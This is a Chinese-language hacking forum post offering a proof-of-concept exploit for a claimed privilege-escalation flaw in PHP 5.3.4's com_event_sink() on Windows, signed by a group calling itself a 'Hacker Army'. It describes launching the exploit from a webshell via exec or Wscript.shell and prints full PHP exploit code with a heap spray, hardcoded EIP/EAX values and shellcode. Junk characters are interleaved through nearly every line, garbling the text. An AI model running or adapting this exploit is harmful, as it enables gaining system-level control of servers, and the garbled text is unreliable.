|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中$ M6 s% L$ t& i) v" P
5 v5 }" W5 X+ ~8 g; Q测试方法如下:cmd /c x:\php\php.exe x:\test.php! d9 s; L& R- C4 h' G% B4 @
+ X2 v$ o% r4 h- k0 ]下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
2 ?' |5 t$ H- |# ^, w这里是两个测试的截图:
O% m9 A4 M' b$ ?% e4 x1 j" d' h
* F, ~! @2 i# \; D- C# [
' X$ P$ Q6 \! Y, a& i2 ~# |( d$ R5 c2 h! s# w
+ Z8 B' `/ T, U( R% M4 ]
成功利用此漏洞的攻击者将获得系统的最高权限$ C! e% j$ \+ Q7 N8 Q, O0 A
2 E7 \# R2 r7 `; z- @- Q7 q
' N5 P. A3 ]2 ]" \7 D
9 \7 Y. p$ l- I. ~4 o T2 u8 ]& ?' } Z: b# f* Y
& O( N' }! t5 J! @- a6 ]2 @" W
关于漏洞分析稍后附上。一下是PoC代码:/ _; L, A( D# S* ~+ _6 |) o( M
( n# ^6 Z8 S4 J& g9 P6 |1 H# ?$ C' D
<?php
+ V: e# H- t9 a//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
' V6 P% _' K7 }//$eip ="\x44\x43\x42\x41";, q! P6 w2 y& w) S, `% A1 Z
$eip= "\x4b\xe8\x57\x78";
7 e ~' n* p/ W' X' Z# U1 R9 O3 K$eax ="\x80\x01\x8d\x04";
+ Q2 S9 I7 r) `+ y1 t0 K0 T; O* ?$deodrant="";
) n5 I: F3 s8 i/ E+ G0 p8 R* p' p7 M$axespray = str_repeat($eip.$eax,0x80);; f( ]* e8 Z) T- a" q( Q& ?6 e* f
//048d0190
d( I4 j: Q7 [) Recho strlen($axespray);, H5 ]+ _+ D! h. R O0 O9 {
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";& N0 Z; {* d( G, n7 E
echo "Silic Group Hacker Army - BlackBap.Org";% G# g+ ~ B1 |4 L6 L! Q
//19200 ==4B32 4b002 J b# h# j8 X# N; z n! d) r
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}1 k7 j7 T6 U/ ]% p/ k. I
$terminate = "T";
' U3 h1 I7 K8 I. Y! R3 p8 {5 k$u[] =$deodrant;9 E. j4 s: H& m& P# D* @0 C7 r! Y
$r[] =$deodrant.$terminate;4 R$ F0 i* i5 n/ W4 v
$a[] =$deodrant.$terminate;
! p" o& J( B4 W& j$s[] =$deodrant.$terminate;
. E0 Z" e$ v0 }, s, g//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
9 [& n) Q, o& x4 e$vVar = new VARIANT(0x048d0000+180);
+ q& X7 d0 S. F) ]2 _//弹窗代码(Shellcode)
* Z3 R7 I) F; v* e& ^/ N3 U$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
' {9 s' i7 A' ?9 c( {/ B2 v$var2 = new VARIANT(0x41414242);! |% ^+ a/ j5 v8 {" E6 h7 M
com_event_sink($vVar,$var2,$buffer);8 X2 _8 j0 y+ t. G% { d
?>8 Q* t/ q6 t6 Y% r: Q8 J
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|